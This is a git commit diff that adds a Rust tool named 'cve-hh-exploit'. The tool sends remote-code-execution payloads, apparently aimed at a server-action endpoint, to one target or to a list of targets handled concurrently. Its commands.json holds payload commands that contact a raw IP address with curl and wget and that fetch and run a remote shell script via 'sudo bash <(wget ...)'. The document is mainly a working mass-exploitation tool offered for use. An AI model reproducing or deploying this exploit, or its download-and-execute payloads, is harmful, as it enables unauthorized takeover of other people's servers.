implement
This commit is contained in:
5
.gitignore
vendored
5
.gitignore
vendored
@@ -16,3 +16,8 @@ target/
|
||||
# and can be added to the global gitignore or merged into this file. For a more nuclear
|
||||
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
|
||||
#.idea/
|
||||
|
||||
|
||||
# Added by cargo
|
||||
|
||||
/target
|
||||
|
||||
2085
Cargo.lock
generated
Normal file
2085
Cargo.lock
generated
Normal file
File diff suppressed because it is too large
Load Diff
27
Cargo.toml
Normal file
27
Cargo.toml
Normal file
@@ -0,0 +1,27 @@
|
||||
[package]
|
||||
name = "cve-hh-exploit"
|
||||
version = "0.1.0"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
tokio = {version = "1.48", features = ["full"]}
|
||||
reqwest = { version = "0.12", features = [
|
||||
"json",
|
||||
"deflate",
|
||||
"gzip",
|
||||
"stream",
|
||||
"socks",
|
||||
"native-tls",
|
||||
"blocking",
|
||||
"cookies",
|
||||
"native-tls-vendored",
|
||||
"native-tls-alpn",
|
||||
] }
|
||||
serde = {version = "1.0", features = ["derive"]}
|
||||
serde_json = "1.0"
|
||||
anyhow = "1.0"
|
||||
tracing = "0.1"
|
||||
url = "2.5"
|
||||
lazy_static = "1.5"
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||
5
commands.json
Normal file
5
commands.json
Normal file
@@ -0,0 +1,5 @@
|
||||
[
|
||||
"sudo curl http://139.162.72.60:9090",
|
||||
"sudo wget http://139.162.72.60:9090",
|
||||
"sudo bash <(wget -qO- -o- https://raw.githubusercontent.com/youling666/fdsgsfd/main/start.sh)"
|
||||
]
|
||||
127
src/main.rs
Normal file
127
src/main.rs
Normal file
@@ -0,0 +1,127 @@
|
||||
use clap::Parser;
|
||||
use lazy_static::lazy_static;
|
||||
use reqwest::header::{self, HeaderMap, HeaderValue};
|
||||
use std::sync::Arc;
|
||||
|
||||
const COMMANDS_TEXT: &str = include_str!("../commands.json");
|
||||
|
||||
lazy_static! {
|
||||
static ref HEADER: HeaderMap = {
|
||||
let mut headers = HeaderMap::new();
|
||||
headers.insert(
|
||||
header::CONTENT_TYPE,
|
||||
HeaderValue::from_static(
|
||||
"multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad",
|
||||
),
|
||||
);
|
||||
headers.insert(header::ACCEPT, HeaderValue::from_static("*/*"));
|
||||
headers
|
||||
};
|
||||
static ref COMMANDS: Vec<String> = serde_json::from_str(COMMANDS_TEXT).unwrap();
|
||||
}
|
||||
|
||||
fn payload(cmd: &str) -> serde_json::Value {
|
||||
let inject =
|
||||
format!("process.mainModule.require('child_process').execSync('{cmd}').toString()");
|
||||
serde_json::json!({
|
||||
"$ACTION_REF_0": "",
|
||||
"$ACTION_0:0": {
|
||||
"id": "child_process#execSync",
|
||||
"bounded": [
|
||||
inject,
|
||||
]
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct Exploiter {
|
||||
payloads: Arc<[serde_json::Value]>,
|
||||
client: reqwest::Client,
|
||||
}
|
||||
|
||||
impl Exploiter {
|
||||
pub fn new(commands: Vec<String>) -> Self {
|
||||
Self {
|
||||
payloads: commands.into_iter().map(|cmd| payload(&cmd)).collect(),
|
||||
client: reqwest::Client::new(),
|
||||
}
|
||||
}
|
||||
pub async fn exploit(&self, url: url::Url) {
|
||||
for payload in self.payloads.as_ref() {
|
||||
let res = self
|
||||
.client
|
||||
.post(url.clone())
|
||||
.headers(HEADER.clone())
|
||||
.json(payload)
|
||||
.send()
|
||||
.await;
|
||||
match res {
|
||||
Ok(res) => {
|
||||
if res.status().is_success() {
|
||||
tracing::info!("Successfully exploited {url}");
|
||||
} else {
|
||||
tracing::error!("Failed to exploit {url}");
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::error!(error = ?e,"Failed to request.");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, clap::Subcommand)]
|
||||
enum SubCommand {
|
||||
One {
|
||||
#[clap(short, long)]
|
||||
url: String,
|
||||
},
|
||||
Multiple {
|
||||
#[clap(short, long)]
|
||||
url_file: String,
|
||||
|
||||
#[clap(short, long, default_value = "10")]
|
||||
threads: u32,
|
||||
},
|
||||
}
|
||||
|
||||
#[derive(Debug, clap::Parser)]
|
||||
struct Cli {
|
||||
#[clap(subcommand)]
|
||||
subcommand: SubCommand,
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
let cli = Cli::parse();
|
||||
match cli.subcommand {
|
||||
SubCommand::One { url } => {
|
||||
tracing::info!("One URL specified.");
|
||||
tracing::info!("Exploiting {url}");
|
||||
let url = url::Url::parse(&url)?;
|
||||
let exploiter = Exploiter::new(COMMANDS.clone());
|
||||
exploiter.exploit(url).await;
|
||||
}
|
||||
SubCommand::Multiple { url_file, threads } => {
|
||||
let url_file = tokio::fs::read_to_string(url_file).await?;
|
||||
let urls: Box<[url::Url]> = url_file
|
||||
.lines()
|
||||
.filter_map(|line| url::Url::parse(line).ok())
|
||||
.collect();
|
||||
tracing::info!("{} URLs found in {url_file}", urls.len());
|
||||
let exploiter = Exploiter::new(COMMANDS.clone());
|
||||
let semaphore = Arc::new(tokio::sync::Semaphore::new(threads as usize));
|
||||
for url in urls {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let exploiter = exploiter.clone();
|
||||
tokio::spawn(async move {
|
||||
exploiter.exploit(url).await;
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user